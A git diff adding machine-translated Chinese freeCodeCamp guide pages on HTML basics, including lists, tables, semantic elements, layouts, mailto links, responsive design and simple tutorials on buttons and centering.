+请参阅[MDN Web文档](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/index.md b/client/src/guide/chinese/html/index.md
new file mode 100644
index 0000000000..9c2858e182
--- /dev/null
+++ b/client/src/guide/chinese/html/index.md
@@ -0,0 +1,59 @@
+---
+title: HTML
+localeTitle: HTML
+---
+# HTML
+
+超文本标记语言（HTML）是用于构建在线文档的标记语言，是当今大多数网站的基础。像HTML这样的标记语言允许我们1）创建到其他文档的链接，2）构建我们文档中的内容，以及3）将上下文和含义归结为我们文档的内容。
+
+HTML文档有两个方面。它包含结构化信息（标记）和文本链接（超文本）到其他文档。我们使用[HTML元素](#)构建页面。它们是我们在浏览器和文档中提供[结构](#)和[含义](#)的语言[结构](#) 元素链接到互联网上的其他文档。
+
+互联网最初是为了存储和呈现静态（不变）文档而创建的。上面讨论的HTML的各个方面在这些缺乏所有设计和样式的文档中都得到了很好的体现。他们提供了包含其他文档链接的结构化信息。
+
+HTML5是HTML的最新版本或规范。万维网联盟（W3C）是负责开发万维网标准的组织，包括HTML标准。随着网页和Web应用程序变得越来越复杂，W3C更新了HTML的标准。
+
+HTML5引入了大量语义元素。虽然我们讨论过HTML有助于为我们的文档提供意义，但直到HTML5s引入[语义元素](#)才能实现其潜力。
+
+## HTML文档的一个简单示例
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+  <title>Page Title</title> 
+ </head> 
+ <body> 
+ 
+  <h1>My First Heading</h1> 
+  <p>My first paragraph.</p> 
+ 
+ </body> 
+ </html> 
+```
+
+！DOCTYPE html：将此文档定义为HTML5
+
+html：HTML页面的根元素
+
+head：元素包含有关文档的元信息
+
+title：元素指定文档的标题
+
+body：元素包含可见的页面内容
+
+h1：元素定义一个大标题
+
+p：元素定义了一个段落
+
+### HTML版本
+
+自Web早期以来，已有许多版本的HTML
+
+|版本|年| | --- | --- | | HTML | 1991 | | HTML 2.0 | 1995 | | HTML 3.2 | 1997 | | HTML 4.01 | 1999 | | XHTML | 2000 | | HTML5 | 2014 |
+
+#### 其他资源
+
+*   [HTML元素](https://guide.freecodecamp.org/html/elements)
+*   [语义HTML](https://guide.freecodecamp.org/html/html5-semantic-elements)
+*   [HTML属性](https://guide.freecodecamp.org/html/attributes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/layouts/index.md b/client/src/guide/chinese/html/layouts/index.md
new file mode 100644
index 0000000000..03ac5eb71f
--- /dev/null
+++ b/client/src/guide/chinese/html/layouts/index.md
@@ -0,0 +1,54 @@
+---
+title: Layouts
+localeTitle: 布局
+---
+## 布局
+
+布局组织网页的不同区域。
+
+我们看到的几乎每个网页都可以分成多个框，可以按特定顺序排列以创建该网页。下图是一个这样的例子。
+
+![网站设计样本 -  www.codementor.io](http://i.imgur.com/Z1DSMYC.png)
+
+> 网站通常以多列（如杂志或报纸）显示内容。
+
+HTML布局技术帮助我们将所需信息放入所需的订单或设计中。
+
+### 实施布局的技巧
+
+#### HTML表格
+
+作为在网页中实现布局的最基本工具之一，这些工具由HTML提供。但是随着布局变得复杂，由于标记文本的增加，HTML表很快就会失去它们的易用性。
+
+#### CSS Float
+
+如果要设计一个带有左侧导航窗格和中心内容查看区域的基于2列的页面，则使用CSS浮动可以轻松完成。只需将左侧导航页面设置为带有样式属性`float: left;`的`<div>` `float: left;` 。瞧，你得到那个设计。但是，如果您在一个部分中有4列，该怎么办？当然，人们可以用浮点数来做，但是你要编写的HTML语法很容易理解。
+
+#### CSS框架
+
+这就是CSS框架（如[Bootstrap](http://getbootstrap.com/)和[Materialize）的](http://materializecss.com/)用武之地。这些框架提供了一个网格功能，可以将网页的每个部分划分为12列，您可以订购这些列。
+
+![网格示例](http://blog.gridbox.io/wp-content/uploads/2018/01/download-1-1024x271.png)
+
+> 示例Bootstrap网格
+
+### HTML语义元素
+
+网站通常以多列（如杂志或报纸）显示内容。
+
+HTML5提供了定义网页不同部分的新语义元素：
+```
+<header> - Defines a header for a document or a section 
+ <nav> - Defines a container for navigation links 
+ <section> - Defines a section in a document 
+ <article> - Defines an independent self-contained article 
+ <aside> - Defines content aside from the content (like a sidebar) 
+ <footer> - Defines a footer for a document or a section 
+ <details> - Defines additional details 
+ <summary> - Defines a heading for the <details> element 
+```
+
+#### 更多信息：
+
+*   [W3学校 - 布局](https://www.w3schools.com/html/html_layout.asp)
+*   [CodeMentorTeam](https://www.codementor.io/codementorteam/4-different-html-css-layout-techniques-to-create-a-site-85i9t1x34) - 创建站点的布局技术
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/lists/index.md b/client/src/guide/chinese/html/lists/index.md
new file mode 100644
index 0000000000..e35a535bac
--- /dev/null
+++ b/client/src/guide/chinese/html/lists/index.md
@@ -0,0 +1,107 @@
+---
+title: Lists
+localeTitle: 清单
+---
+# 清单
+
+列表用于显示项目。有3种类型的列表。
+
+## 有序列表
+
+_有序列表_用于描述有序的数据集合。浏览器通常将有序列表显示为编号列表。使用`<ol>`标签创建有序列表。
+
+## 无序列表
+
+_无序列表_用于描述无序的数据集合。浏览器通常将无序列表显示为项目符号列表。使用`<ul>`标记创建无序列表。
+
+## 列出项目
+
+有序和无序列表的直接子项必须是列表项。每个列表项都包含在`<li>`标记中。列表项标记可以包含[流内容](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content) 。
+
+## 例子
+
+有序列表写为
+
+```HTML
+<ol> 
+  <li>January</li> 
+  <li>February</li> 
+  <li>March</li> 
+ </ol> 
+```
+
+并显示为：
+
+1.  一月
+2.  二月
+3.  游行
+
+无序列表写为
+
+```HTML
+<ul> 
+  <li>Macintosh</li> 
+  <li>Fuji</li> 
+  <li>Gala</li> 
+ </ul> 
+```
+
+并显示为：
+
+*   苹果
+*   富士
+*   节日
+
+## 样式化Bulletpoint
+
+有序列表可用于各种功能和多种样式。由于更改包含标签颜色不会改变子弹本身的颜色，您可以先删除传统的黑色项目符号并插入自己的颜色来设置它们的样式：
+
+删除子弹：
+
+```CSS
+ul { 
+  list-style: none; 
+  } 
+```
+
+插入你自己的：
+
+```CSS
+ul li::before { 
+  content: "\2022"; 
+  color: orange; 
+  display: inline-block; 
+  width: 1em; 
+  } 
+```
+
+内容样式添加新的项目符号，而显示和宽度样式在项目符号和单词之间创建空格。如果您想使子弹更大或更大胆，可以在此处应用常规字体样式。
+
+## 说明列表
+
+描述列表是术语列表，其中包含每个术语的描述。使用`<dl>`标签进行描述列表。 列表中的每个项目由两个标记组成：术语`<dt>` ，以及该术语`<dd>`的描述。 它们在HTML 4中称为定义列表。
+
+以下是描述列表的示例：
+
+```HTML
+<dl> 
+  <dt>Programming</dt> 
+  <dd>The process of writing computer programs.</dd> 
+  <dt>freeCodeCamp</dt> 
+  <dd>An awesome non-profit organization teaching people how to code.</dd> 
+ </dl> 
+```
+
+最终看起来像：
+
+程序设计
+
+编写计算机程序的过程。
+
+freeCodeCamp
+
+一个非常棒的非营利组织，教人们如何编码。
+
+## 更多信息：
+
+*   [w3schools上的HTML列表](https://www.w3schools.com/html/html_lists.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/mailto-links/index.md b/client/src/guide/chinese/html/mailto-links/index.md
new file mode 100644
index 0000000000..7c656caac4
--- /dev/null
+++ b/client/src/guide/chinese/html/mailto-links/index.md
@@ -0,0 +1,56 @@
+---
+title: Mailto Links
+localeTitle: Mailto链接
+---
+## Mailto链接
+
+mailto链接是一种带有特殊参数的超链接（ `<a href=""></a>` ），可让您指定其他收件人，主题行和/或正文。
+
+### 收件人的基本语法是：
+
+```html
+
+<a href="mailto:friend@something.com">Some text</a> 
+```
+
+### 更多定制！
+
+#### 将主题添加到该邮件：
+
+如果要为该邮件添加特定主题，请小心在主题行中有空格的地方添加`%20`或`+` 。确保格式正确的简单方法是使用[URL解码器/编码器](https://meyerweb.com/eric/tools/dencoder/) 。
+
+#### 添加正文：
+
+同样，您可以在电子邮件的正文部分添加特定邮件： 同样，空格必须由`%20`或`+`替换。 在主题参数之后，任何附加参数必须以`&`开头
+
+示例：假设您希望用户向他们的朋友发送有关他们在Free Code Camp中的进度的电子邮件：
+
+地址：空
+
+主题：好消息
+
+身体：我正在成为一名开发人员
+
+您的HTML链接现在：
+
+```html
+
+<a href="mailto:?subject=Great%20news&body=I%20am%20becoming%20a%20developer">Send mail!</a> 
+```
+
+在这里，我们将mailto留空（mailto：？）。这将打开用户的电子邮件客户端，用户将自己添加收件人地址。
+
+#### 添加更多收件人：
+
+以相同的方式，您可以添加CC和bcc参数。 用逗号分隔每个地址！
+
+其他参数必须以`&`开头。
+
+```html
+
+<a href="mailto:firstfriend@something.com?subject=Great%20news&cc=secondfriend@something.com,thirdfriend@something.com&bcc=fourthfriend@something.com">Send mail!</a> 
+```
+
+#### 更多信息：
+
+[MDN - 电子邮件链接](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/optional-tags/index.md b/client/src/guide/chinese/html/optional-tags/index.md
new file mode 100644
index 0000000000..7abf969d5b
--- /dev/null
+++ b/client/src/guide/chinese/html/optional-tags/index.md
@@ -0,0 +1,40 @@
+---
+title: Optional Tags
+localeTitle: 可选标签
+---
+## HTML5可选标签
+
+在HTML5中，您可以在特定条件下省略某些开始和结束标记。例如，以下HTML代码......
+
+```html
+
+<!DOCTYPE html> 
+ <p>Hello World. 
+```
+
+将自动评估为......
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head></head> 
+  <body> 
+    <p>Hello world. 
+    </p> 
+  </body> 
+ </html> 
+```
+
+最常见的HTML5标记的可选标记规范如下：
+
+*   一个`html`如果里面的第一件事元素的开始标记可以省略`html`元素不是评论。
+*   如果`html`元素后面没有注释，则可以省略`html`元素的结束标记。
+*   如果元素为空，或者`head`元素中的第一个元素是元素，则可以省略`head`元素的开始标记。
+*   如果`head`元素没有紧跟空格字符或注释，则可以省略`head`元素的结束标记。
+*   如果元素为空，或者`body`元素中的第一个元素不是空格字符或注释，则可以省略`body`元素的开始标记，除非`body`元素内的第一个元素是`meta` ， `link` ， `script` ， `style`或`template`元素。
+*   如果body元素没有紧跟注释，则可以省略`body`元素的结束标记。
+
+### 更多信息
+
+要了解有关HTML5可选标记的更多信息，请访问![万维网联盟的建议](https://www.w3.org/TR/html5/syntax.html#optional-tags) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/page-structure/index.md b/client/src/guide/chinese/html/page-structure/index.md
new file mode 100644
index 0000000000..757fd589b3
--- /dev/null
+++ b/client/src/guide/chinese/html/page-structure/index.md
@@ -0,0 +1,39 @@
+---
+title: Page Structure
+localeTitle: 页面结构
+---
+## 页面结构
+
+要用`HTML`创建页面，您需要知道如何用`HTML`构建页面，基本上，页面结构遵循以下顺序：
+
+```HTML
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Title of the Page</title> 
+  </head> 
+  <body> 
+    <!-- Content --> 
+  </body> 
+ </html> 
+```
+
+1º - `<!DOCTYPE html>`语句必须始终是第一个出现在`HTML`页面上并告诉浏览器使用该语言版本的语句。在这种情况下，我们正在使用`HTML5` 。
+
+2º - `<html>`和`</html>`标记告诉Web浏览器`HTML`代码的开始和结束位置。
+
+3º - `<head>`和`</head>`标签包含有关网站的信息，例如：样式，元标记，脚本等...
+
+4º - `<title>`和`</title>`标签告诉浏览器页面标题是什么。通过识别Internet浏览器中的选项卡可以看到标题。在这些标记之间定义的文本也是搜索引擎在搜索结果中显示页面时用作标题的文本。
+
+5º - 在`<body>`和`</ body>`标签之间放置页面内容，这是浏览器中显示的内容。
+
+### HTML5的变化
+
+#### 语义标签的介绍
+
+而不是为每个其他容器使用`<div>`几个语义（这些标签帮助视觉使用的屏幕阅读器 受损的）标签，例如`<header>` `<footer>` 。因此建议使用这些标记而不是泛型`<div>` 。
+
+#### 更多信息：
+
+[HTML：简介](https://www.w3schools.com/html/html_intro.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/responsive-web-design/index.md b/client/src/guide/chinese/html/responsive-web-design/index.md
new file mode 100644
index 0000000000..611fd0e840
--- /dev/null
+++ b/client/src/guide/chinese/html/responsive-web-design/index.md
@@ -0,0 +1,54 @@
+---
+title: Responsive Web Design
+localeTitle: 响应式网页设计
+---
+## 响应式网页设计
+
+响应式网页设计是设计适应不同屏幕尺寸的网页的概念。它通常涉及使用不同的布局，字体大小和导航菜单的位置。
+
+为了创建响应式网页，CSS通常用于设置HTML元素的样式。 CSS中用于创建响应式Web设计的一些常用方法是：
+
+1.  编写[媒体查询](https://guide.freecodecamp.org/css/media-queries)
+2.  使用预先存在的[CSS框架](https://guide.freecodecamp.org/css/css-frameworks)
+3.  使用[Flexbox模型](https://guide.freecodecamp.org/css/layout/flexbox)
+4.  使用[CSS网格](https://guide.freecodecamp.org/css/layout/grid-layout)
+
+### 1.媒体查询
+
+媒体查询告诉Web浏览器根据屏幕宽度等特定属性或用户是否正在打印来忽略或替换网页的属性。
+```
+@media (query) { 
+  /* The browser will use the CSS rules within the curly braces when the query is true */ 
+ } 
+```
+
+以下示例在屏幕宽度小于或等于768px时，在类`more-padding`设置`padding-left`和`padding-right` 。
+```
+@media screen and (max-width: 768px) { 
+    .more-padding { 
+        padding-left: 10px; 
+        padding-right: 10px; 
+    } 
+ } 
+```
+
+### 2\. CSS框架
+
+[Bootstrap](https://www.getbootstrap.com/) ， [Material Design Lite](https://getmdl.io/)和[Foundation](https://foundation.zurb.com/)等CSS框架预先构建了CSS类，使响应式设计编码更加简单。这些类的操作类似于标准HTML类。
+
+在此示例中， `col-md-9`和`col-sm-6`根据屏幕是小型还是中型来设置`<div>`标签的宽度。
+
+```html
+
+<div class="col-12 col-md-6"></div> 
+```
+
+Bootstrap框架将一行划分为十二列。在上面的例子中， `<div>`将分布在其中的九个或六个中。如下图所示，网格系统是Bootstrap如何简化响应式设计的基础。
+
+![Grid Example](https://www.javatpoint.com/bootstrappages/images/bootstrapgrid.jpg "基本网格示例")
+
+### 更多信息：
+
+1.  [CSS Flexbox完成教程8分钟](https://medium.freecodecamp.org/css-flexbox-interactive-tutorial-in-8-minutes-including-cheat-sheet-6214e00de3d2)
+2.  [Freecodecamp CSS部分](https://guide.freecodecamp.org/css) 。
+3.  [CodingTutorials360的CSS Flexbox教程](https://www.youtube.com/watch?v=zBjUEDzK-ow)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/semantic-html-elements/index.md b/client/src/guide/chinese/html/semantic-html-elements/index.md
new file mode 100644
index 0000000000..3aa959b29f
--- /dev/null
+++ b/client/src/guide/chinese/html/semantic-html-elements/index.md
@@ -0,0 +1,58 @@
+---
+title: Semantic HTML Elements
+localeTitle: 语义HTML元素
+---
+## 语义HTML元素
+
+`<em>`元素将文本标记为在其周围的文本上方强调。通常，浏览器以_斜体显示_ ，但您可以使用CSS添加其他样式。
+
+语义HTML元素为浏览器，开发人员和站点用户提供了意义。与`<div>`或`<span>`等元素相比， `<header>`和`<footer>`等语义元素更清楚地解释了网站每个部分的用途。
+
+### 为什么要使用语义元素？
+
+开发人员使用语义元素来增强以下内容：
+
+*   辅助功能：帮助辅助技术读取和解释您的网页
+*   可搜索性：帮助计算机理解您的内容
+*   国际化：世界上只有13％的人是英语母语人士
+*   互操作性：帮助其他程序员了解您的网页结构1
+
+### 有用的语义元素
+
+*   `<header>`定义文档或节的标题
+*   `<footer>`定义文档或节的页脚
+*   `<nav>`定义文档中的导航链接
+*   `<main>`定义文档的主要内容
+*   `<section>`定义了文档中的一个部分 - 规范将其定义为“内容的主题分组，通常带有标题”，因此您可以将其视为一个章节
+*   `<article>`定义了文档中的一篇文章
+*   `<aside>`定义除页面内容之外的内容
+*   `<address>`定义文档或文章的作者/所有者的联系信息
+*   `<figure>`定义自包含的内容，如插图，图表，照片，代码块等2
+
+### 鲜为人知的语义元素
+
+*   `<bdi>`定义了一段文本，其格式可能与其他文本的方向不同（例如，希伯来语中的引文或其他英文文章中的阿拉伯语）
+*   `<details>`定义了人们可以查看或隐藏的其他详细信息（如工具提示）
+*   `<dialog>`定义一个对话框或窗口
+*   `<figcaption>`定义了字幕要`<figure>`
+*   `<mark>`定义标记或突出显示的文本
+*   `<menuitem>`定义用户可以从弹出菜单中选择的命令/菜单项
+*   `<meter>`定义已知范围内的标量测量（仪表）
+*   `<progress>`定义任务的进度
+*   `<rp>`定义在不支持ruby注释的浏览器中显示的内容
+*   `<rt>`定义字符的解释/发音（东亚排版）
+*   `<ruby>`定义ruby注释（用于东亚排版）
+*   `<summary>`定义`<details>`元素的可见标题
+*   `<time>`定义日期/时间
+*   `<wbr>`定义了一个可能的换行符2
+
+### 来源
+
+1.  [李，米歇尔。 “HTML5语义概述。” _CodePen_ 。 2016年2月16日。访问时间：2017年10月24日](https://codepen.io/mi-lee/post/an-overview-of-html5-semantics)
+2.  [Bidaux，Vincent。 “HTML5语义元素和Webflow：必不可少的指南。” _Webflow_ 。 2016年12月16日。访问时间：2017年10月24日](https://webflow.com/blog/html5-semantic-elements-and-webflow-the-essential-guide)
+
+#### 更多信息：
+
+有关更多信息：https：//codepen.io/mi-lee/post/an-overview-of-html5-semantics
+
+请参阅[MDN Web Docs文章](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/symbols/index.md b/client/src/guide/chinese/html/symbols/index.md
new file mode 100644
index 0000000000..1ef6b2c705
--- /dev/null
+++ b/client/src/guide/chinese/html/symbols/index.md
@@ -0,0 +1,16 @@
+---
+title: Symbols
+localeTitle: 符号
+---
+## 符号
+
+HTML符号实体是未在用户键盘上显示的字符。许多数学，科学和货币符号 普通键盘上没有;因此，要使用HTML将这些符号添加到页面，可以使用HTML实体名称。 重要的是要注意，这些不会影响html代码本身，并且将始终被解释为文本。例如，如果我们想在网页上键入<div>作为文本，我们可能需要使用这些符号实体。
+
+如果不存在实体名称，则可以使用实体编号或十六进制参考。
+
+![常见的HTML5符号](http://ways2web.weebly.com/uploads/5/4/4/8/54485903/8779038_orig.png)
+
+#### 更多信息：
+
+*   ![W3学校参考](https://www.w3schools.com/html/html_symbols.asp)
+*   ![符号参考图表](https://dev.w3.org/html5/html-author/charref)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tables/index.md b/client/src/guide/chinese/html/tables/index.md
new file mode 100644
index 0000000000..63e1d85f2e
--- /dev/null
+++ b/client/src/guide/chinese/html/tables/index.md
@@ -0,0 +1,101 @@
+---
+title: Tables
+localeTitle: 表
+---
+### 定义HTML表
+
+用表定义HTML表标签。
+
+每个表行都是用
+
+标签。在一行内可能有表头或表数据。
+
+*   使用表定义表头
+
+标签。默认情况下，表格标题为粗体且居中。*   表格数据/单元格用
+
+标签。
+
+更复杂的HTML表格还可能包含`<caption>` ， `<col>` ， `<colgroup>` ， `<thead>` ， `<tfoot>`和`<tbody>`元素。
+
+### 简单的表格示例
+
+```html
+
+<table style="width:100%"> 
+  <tr> 
+    <th>Firstname</th> 
+    <th>Lastname</th> 
+    <th>Age</th> 
+  </tr> 
+  <tr> 
+    <td>Jill</td> 
+    <td>Smith</td> 
+    <td>50</td> 
+  </tr> 
+  <tr> 
+    <td>Eve</td> 
+    <td>Jackson</td> 
+    <td>94</td> 
+  </tr> 
+ </table> 
+```
+
+[DEMO](https://www.w3schools.com/html/tryit.asp?filename=tryhtml_table)
+
+### 表示具有更多语义信息的示例
+
+```html
+
+<!DOCTYPE html> 
+    <html> 
+    <body> 
+       <table> 
+      <thead> 
+        <tr> 
+          <th>Item</th> 
+          <th>Amount</th> 
+        </tr> 
+      </thead> 
+      <tfoot> 
+        <tr> 
+          <td>Apple</td> 
+          <td>10</td> 
+        </tr> 
+      </tfoot> 
+      <tbody> 
+        <tr> 
+          <td>Peach</td> 
+          <td>15</td> 
+        </tr> 
+        <tr> 
+          <td>Watermelon</td> 
+          <td>3</td> 
+        </tr> 
+      </tbody> 
+    </table> 
+    </body> 
+   </html> 
+```
+
+结果：
+
+项目
+
+量
+
+苹果
+
+10
+
+桃子
+
+15
+
+西瓜
+
+3
+
+#### 更多信息：
+
+[关于HTML的MDN文章](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table) [标签](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/basic-html/index.md b/client/src/guide/chinese/html/tutorials/basic-html/index.md
new file mode 100644
index 0000000000..dec6f8522f
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/basic-html/index.md
@@ -0,0 +1,27 @@
+---
+title: Basic HTML
+localeTitle: 基本的HTML
+---
+## 基本的HTML
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/tutorials/basic-html/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+基本HTML文件的结构：
+
+```html
+
+<!doctype html> 
+ <html> 
+ 
+  <head> 
+    <title></title> 
+  </head> 
+ 
+  <body> 
+  </body> 
+ </html> 
+```
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/basic-html/radio-button/index.md b/client/src/guide/chinese/html/tutorials/basic-html/radio-button/index.md
new file mode 100644
index 0000000000..279578a670
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/basic-html/radio-button/index.md
@@ -0,0 +1,24 @@
+---
+title: Radio Button
+localeTitle: 单选按钮
+---
+# 单选按钮
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <form action="/action_page.php"> 
+  <input type="radio" name="gender" value="male"> Male<br> 
+  <input type="radio" name="gender" value="female"> Female<br> 
+  <input type="radio" name="gender" value="other"> Other<br> 
+  <input type="submit" value="Submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+```
+
+单选按钮可用于从多个选项中选择单个选项。您不能在同一选择字段中选择2个或更多单选按钮。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/center-an-image-using-text-align-center/index.md b/client/src/guide/chinese/html/tutorials/center-an-image-using-text-align-center/index.md
new file mode 100644
index 0000000000..7c5f276f0b
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/center-an-image-using-text-align-center/index.md
@@ -0,0 +1,62 @@
+---
+title: Center an Image Using Text Align Center
+localeTitle: 使用文本对齐中心居中图像
+---
+## 使用文本对齐中心居中图像
+
+`<img>`元素是内联元素（ `inline-block`显示值）。它可以通过添加`text-align: center;`轻松居中`text-align: center;`父元素的CSS属性 包含它。
+
+使用`text-align: center;`来居中图像`text-align: center;`您必须将`<img>`放在块级元素（如`div` 。 由于`text-align`属性仅适用于块级元素，因此请放置`text-align: center;`在包装块级元素上实现水平居中的`<img>` 。
+
+### 例
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Center an Image using text align center</title> 
+    <style> 
+      .img-container { 
+        text-align: center; 
+      } 
+    </style> 
+  </head> 
+  <body> 
+    <div class="img-container"> <!-- Block parent element --> 
+      <img src="user.png" alt="John Doe"> 
+    </div> 
+  </body> 
+ </html> 
+```
+
+**注意：**父元素必须是块元素。如果它不是块元素，则应添加`display: block;` CSS属性以及`text-align`属性。
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Center an Image using text align center</title> 
+    <style> 
+      .img-container { 
+        text-align: center; 
+        display: block; 
+      } 
+    </style> 
+  </head> 
+  <body> 
+    <span class="img-container"> <!-- Inline parent element --> 
+      <img src="user.png" alt=""> 
+    </span> 
+  </body> 
+ </html> 
+```
+
+**演示：** [Codepen](https://codepen.io/aravindio/pen/PJMXbp)
+
+## 文档
+
+[**text-align** - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+
+[**\\ ** - MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/embedding-youtube-videos/index.md b/client/src/guide/chinese/html/tutorials/embedding-youtube-videos/index.md
new file mode 100644
index 0000000000..0686348043
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/embedding-youtube-videos/index.md
@@ -0,0 +1,40 @@
+---
+title: Embedding Youtube Videos
+localeTitle: 嵌入Youtube视频
+---
+## 嵌入Youtube视频
+
+可能很多时候你在自己喜欢的网站上看过嵌入式视频。今天我们将谈论嵌入YouTube视频，这很容易做到，即使您对此没有任何了解。对于此操作，我们将使用`<frame>`元素，这对嵌入其他HTML非常有用。它经常被用来推广一些产品作为补充。请注意，您不仅限于YouTube - 您还可以尝试其他文档。
+
+### `<frame>`元素
+
+#### 运用
+
+您可以使用`<frame>`元素轻松放置所选视频。但请记住，您还需要定义播放器的高度和宽度，因此我们将使用属性的`height`和`width` 。
+
+我们需要什么？
+
+*   YouTube和网址上的视频
+*   `<frame>`元素（别忘了关闭它！）
+*   `width`和`height`属性
+
+```html
+
+<iframe width="420" height="315" 
+ src="https://www.youtube.com/watch?v=v8kFT4I31es"> 
+ </iframe> 
+```
+
+插入的值会被推荐，但您可以随意更改它们。
+
+#### 自动播放
+
+如果我们想让这个播放器自动开始播放，我们该怎么办？只需添加到您的链接值`?autoplay=1` 。但要小心，因为很多人访问你的网页会很烦人。
+
+```html
+
+<iframe width="420" height="315" 
+ src="https://www.youtube.com/watch?v=v8kFT4I31es?autoplay=1"> 
+ </iframe> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md b/client/src/guide/chinese/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md
new file mode 100644
index 0000000000..20f87a30fe
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md
@@ -0,0 +1,39 @@
+---
+title: How to Create an HTML Button That Acts Like a Link
+localeTitle: 如何创建一个像链接一样的HTML按钮
+---
+## 如何创建一个像链接一样的HTML按钮
+
+有时您可能希望使用按钮链接到其他页面或网站，而不是提交表单或类似的内容。这很简单，可以通过多种方式实现。
+
+一种方法是简单地将`<button>`标签包装在`<a>`标签中：
+
+```html
+
+<a href='https://www.freecodecamp.org/'><button>Link To freeCodeCamp</button></a> 
+```
+
+这会将整个按钮转换为链接。
+
+第二种方法是像往常一样使用`<a>`标签创建链接，然后通过CSS设置样式：
+
+```html
+
+<a href='https://www.freecodecamp.org/'>Link To freeCodeCamp</a> 
+```
+
+创建链接后，您可以使用CSS使其看起来像一个按钮。例如，您可以添加边框，背景颜色，以及用户悬停链接时的某些样式...
+
+添加按钮的另一种方法是将`input`包装在`form`标记内。在表单操作属性中指定所需的目标URL。
+
+```html
+
+<form action="http://google.com"> 
+    <input type="submit" value="Go to Google" /> 
+ </form> 
+```
+
+#### 更多信息：
+
+*   [FreeCodeCamp指南 - 样式按钮](https://guide.freecodecamp.org/css/css-buttons/)
+*   [如何创建一个像链接一样的HTML按钮？](https://stackoverflow.com/questions/2906582/how-to-create-an-html-button-that-acts-like-a-link)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md b/client/src/guide/chinese/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md
new file mode 100644
index 0000000000..7e0cc1b8d0
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md
@@ -0,0 +1,67 @@
+---
+title: How to Horizontally Center a Div Tag in Another Div Tag
+localeTitle: 如何在另一个Div标签中水平居中Div标签
+---
+## 如何在另一个Div标签中水平居中Div标签
+
+水平为中心的`<div>`的另一个内`<div>`是很容易的。
+
+让我们从创建两个带有“父”和“子”类的div标签开始。父母将是我们的容器，孩子将是`<div>`我们水平居中。
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>How to Horizontally Center a Div Tag in Another Div Tag</title> 
+ </head> 
+ <body> 
+  <div class="parent"> 
+    <div class="child"> 
+      <p>This is the center.</p> 
+    </div> 
+  </div> 
+ </body> 
+ </html> 
+```
+
+有几种方法可以解决这个问题，但是对于本教程，我们将重点关注两个方面。在第一个中，我们将使用`margin`将我们的孩子`<div>`居中，在第二个中我们将使用`flexbox` 。
+
+### 使用边距居中Div标签的示例
+
+如果在子div上指定`width` ，则可以使用`margin: auto` 。这将通过均匀分布其左右边距来使您的孩子`<div>`居中。
+
+```css
+.parent { 
+  border: 2px solid red; 
+ } 
+ 
+ .centered-child { 
+  width: 50%; 
+  margin: auto; 
+  border: 1px solid black; 
+ } 
+```
+
+### 使用Flexbox对Div标记进行居中的示例
+
+使用flexbox将`<div>`置于中心位置略有不同。首先，它不要求您在子`<div>`上指定`width` 。其次，你居然中心孩子`<div>`由父应用CSS属性`<div>`
+
+要使用flexbox对子`<div>`进行居中，您需要使用`display: flex`以及`justify-content: center`在父`<div>` 。
+
+```css
+.parent { 
+  display: flex; 
+  justify-content: center; 
+  border: 2px solid red; 
+ } 
+ 
+ .centered-child { 
+  border: 1px solid black; 
+ } 
+```
+
+#### 更多信息：
+
+[Flexbox支持矩阵](http://caniuse.com/#search=flexbox)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md b/client/src/guide/chinese/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md
new file mode 100644
index 0000000000..74dedfb9e3
--- /dev/null
